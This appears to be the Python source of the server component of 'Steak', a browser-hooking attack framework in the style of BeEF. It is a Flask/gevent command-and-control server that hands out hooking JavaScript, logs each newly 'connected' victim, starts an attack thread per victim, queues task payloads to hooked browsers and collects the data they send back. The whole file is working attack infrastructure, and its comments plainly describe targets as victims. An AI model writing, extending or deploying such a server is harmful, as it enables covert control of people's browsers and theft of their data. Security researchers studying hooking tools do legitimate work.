from flask import Flask,Response,request
from gevent.pywsgi import WSGIServer
import uuid
import os
import json
import traceback,sys
import queue
from steak.utils import uniquerandstring
from steak.utils import base64decode,base64encode
from .Project import Project
from .Logger import Logger
from .Client import Client
from threading import Thread
import logging

class Server:
    '''
    This class is the main server of Steak based on Flask
    It can receive information submited by victim and dispatch the information to attack_client function the victim corresponds to 
    It can also provide hooking javascript to victim and send task to victim
    '''
    def __init__(self,ip:str,port:int,projects,callbackpath:str,sslpem:str,sslkey:str) -> None:
        self.logger = Logger()
        self.ip=ip
        self.port=port
        self.sslpem=sslpem
        self.sslkey=sslkey
        self.projects=projects
        self.callbackpath=callbackpath #callback path is the path to receive information submited by victims
        self.path2callback={} # A map that maps specially registered path via register_path to its callback function
        self.jsurl2projects={} # A map that maps url of hooking javascript to the project it belongs to 
        self.clientid2client={} #A map that maps clientid to client object
        self.taskid2payloadobj={} #A map that maps taskid to payload object
        self.clientids=set() #a set of all client id
        if self.sslkey and self.sslpem:
            self.protocol='https://'
            self.isssl=1
            self.ssldict={"keyfile":self.sslkey, "certfile":self.sslpem}
        else:
            self.protocol='http://'
            self.isssl=0
            self.ssldict={}
        #As different url of hooking javascript corresponds to different project,we can not have duplicate js urls
        for project in self.projects:
            if project.jsurl in self.jsurl2projects:
                raise ValueError('js url in different projects cannot be duplicate')
            self.jsurl2projects[project.jsurl]=project
    
    def get_full_callback_path(self)->str:
        '''
        This function returns full callback path of the server
        '''
        return 'http://'+self.ip+':'+str(self.port)+self.callbackpath


    def generate_response(self,s:str)->Response:
        '''
        Generates a response who has a header Access-Control-Allow-Origin:* 
        So that victim can fetch the response in a cross domain situation
        '''
        resp=Response(s)
        resp.headers['Access-Control-Allow-Origin'] ='*'
        return resp

    def register_path(self,path:str,callback:callable)->None:
        '''
        Registers url path with a callback function
        so that other modules can register their own path and handle it and make reponse
        '''
        self.path2callback[path]=callback

    def get_clientip(self,enablexff:bool=False)->str:
        '''
        Gets client IP address
        It doesn't trsut X-Forwarded-For header unless you set enablexff True
        '''
        if enablexff:
            clientip=request.headers.getlist("X-Forwarded-For")[0]
            #check if ip valid
            if all([0<=int(i)<=255 for i in clientip.split('.')]) and len(clientip.split('.'))==4:
                return clientip
        return request.remote_addr

    def run(self):
        '''
        Generates the flask object and run it!
        Also dispatches received requests from clients to suitable tasks
        '''
        app = Flask(__name__)
        app.config['SESSION_TYPE'] = 'filesystem'

        @app.route(self.callbackpath,methods=['GET','POST'])
        def callbackpath():
            '''
            This is the function that handles requests(callbacks) submited by victims,
            when a new victim gets fucked and connects to us,we receive the client id generated by it and store it
            We expect that the client submit base64 encoded json string
            '''
            content=json.loads(base64decode(request.form.get('content'))) 
            clientid=content['clientbasicinfo']['clientid']
            project=self.jsurl2projects[content['clientbasicinfo']['jsurl']]
            dataupload=content['dataupload']
            clientip=self.get_clientip()
            if isinstance(dataupload,dict):
                dataupload['clientipaddress']=clientip
            
            if clientid not in self.clientid2client:
                '''
                A new client start to callback
                '''
                try:
                    client=Client(clientid,project,dataupload)
                    self.logger.good(f'New Client of Project {project.project_name} Connected: IP {clientip} ClientId {client.clientid}')
                except Exception as e: 
                    #Error occurs because we restarted our server so that we've forgot the victim who remembers us
                    self.logger.warning(f'Old Client Connected with Invalid ClientId with IP {clientip}. We Call it to Reconnect with New ClientId Soon.')
                    return self.generate_response('Restart') #forget me and restart !
                self.clientid2client[clientid]=client
                project.clients[clientid]=client
                #Starts a new thread to deal with the victim 
                t = Thread(target=project.attack_client, args=(client,))
                t.start()
                return self.generate_response('')
            else:
                client=self.clientid2client[clientid]
            #update client ip address
            client.ip=request.remote_addr
            '''
            "Rollback" means retrieve new task from server
            So this request means the client submits task result to us

            Taskid->Payload Object->Moudle Parse Result->Get Final Result and Return it to Project
            '''
            if dataupload!="Rollback":
                taskid=content['clientbasicinfo']['taskid']
                self.logger.info(f'Client {client.clientid} of Project {project.project_name} Finished Task {taskid}')
                payloadobj=self.taskid2payloadobj[taskid]
                result=payloadobj.module.parse_result(dataupload)
                client.taskresult[taskid]=result
                client.tasksemaphore[taskid].release() 
                del self.taskid2payloadobj[taskid]
                return self.generate_response('')
            '''
            check if there are tasks for the client. 
            If there are,send one to the clinet
            '''
            task=client.pop_latest_task()
            if task:
                self.taskid2payloadobj[task.taskid]=task
                self.logger.info(f'Sending Task {task.taskid} to Client {client.clientid} of Project {project.project_name}')
                return self.generate_response(task.payload_str)
            else:
                self.logger.debug(f'Client {client.clientid} of Project {project.project_name} Called Home')
                return self.generate_response('')
            

        @app.route('/', defaults={'path': ''},methods=['GET','POST'])
        @app.route('/<path:path>',methods=['GET','POST'])
        def handle_request(path):
            '''
            Handles all requests except callbackpaths
            First we get the current request path,and check if it is one of our specially registered path mostly used by handlers
            If it is,we call the callback function corresponds to the path and return the result
            If not,we check if the path corresponds to a hooking javascript path of a project 
            If it is,we generate js of the project and send to it 
            otherwise we return nothing to keep quiet
            '''
            path='/'+path
            #specially registered path
            if path in self.path2callback:
                callback=self.path2callback[path]
                try:
                    return str(callback(request))
                except:
                    return ''
            if path in self.jsurl2projects:
                project=self.jsurl2projects[path]
            else:
                return ''
            resp=Response(project.generate_js(self.get_full_callback_path(),project.jsurl))
            resp.headers['Content-Type'] = 'text/javascript;charset=UTF-8'
            return resp
        
        if self.logger.getLevel==logging.DEBUG:
            gevent_server = WSGIServer((self.ip, self.port), app,**self.ssldict)
        else:
            gevent_server = WSGIServer((self.ip, self.port), app,log = None, **self.ssldict)

        self.logger.info(f'Running the Steak Server at {self.protocol}{self.ip}:{self.port}/')
        gevent_server.serve_forever()
        
    
    def run_thread(self):
        '''
        Start a server thread
        '''
        t = Thread(target=self.run)
        t.setDaemon(True)
        t.start()
        return t